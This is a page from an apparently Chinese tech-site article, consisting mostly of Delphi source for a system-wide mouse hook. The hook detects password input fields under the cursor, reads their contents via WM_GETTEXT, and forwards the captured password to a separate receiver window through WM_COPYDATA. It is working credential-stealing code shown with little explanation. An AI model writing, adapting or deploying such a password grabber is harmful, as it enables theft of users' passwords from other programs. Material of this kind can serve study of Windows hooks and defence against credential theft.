扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
在本页阅读全文(共9页)
implementation
uses DataStruct;
procedure CXX_SendCopyData(pt:TPoint;pwd:TMTitle);
var
pcds:PCopyDataStruct;
pmi:PMouseInfo;
hDec:THandle;
begin
hDec:=Findwindow(Nil,'WM_COPYDATA接收端');
if hDec = 0 then
begin
MessageBox(0,'数据接收窗口没有找到,程序拒绝发送WM_COPYDATA消息!','提示',MB_OK or MB_ICONWARNING);
Exit;
end;
try
GetMem(pmi,sizeof(TMouseInfo));
pmi.MouseX := pt.X;
pmi.MouseY := pt.Y;
pmi.MouseTitle := pwd;
GetMem(pcds,sizeof(TCopyDataStruct));
pcds.dwData := 9910;
pcds.cbData := sizeof(TMouseInfo);
pcds.lpData := pmi;
SendMessage(hDec,WM_COPYDATA,0,LPARAM(pcds));
//PostMessage(hDec,WM_COPYDATA,Handle,LPARAM(pcds));
finally
FreeMem(pmi);
FreeMem(pcds);
end;
end;
function CXX_MouseHookProc(iCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;export;
var
pMhs:PMOUSEHOOKSTRUCT;
wnd:HWND;
style:LongInt;
MousePos:TPoint;
MouseTitle:TMTitle;
begin
if iCode = HC_ACTION then
begin
FillChar(MouseTitle,255,0);
pMhs := PMOUSEHOOKSTRUCT(lParam);
MousePos := pMhs.pt;
wnd := WindowFromPoint(pmhs.pt);
style := GetWindowLong(wnd,GWL_STYLE);
if (style and ES_PASSWORD) = ES_PASSWORD then
begin
SendMessage(wnd,WM_GETTEXT,256,Integer(@MouseTitle[0]));
//发送截取的信息[]
CXX_SendCopyData(MousePos,MouseTitle);
end;
end;
Result := CallNextHookEx(hkMouseHook,iCode,wParam,lParam);
end;
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。
现场直击|2021世界人工智能大会
直击5G创新地带,就在2021MWC上海
5G已至 转型当时——服务提供商如何把握转型的绝佳时机
寻找自己的Flag
华为开发者大会2020(Cloud)- 科技行者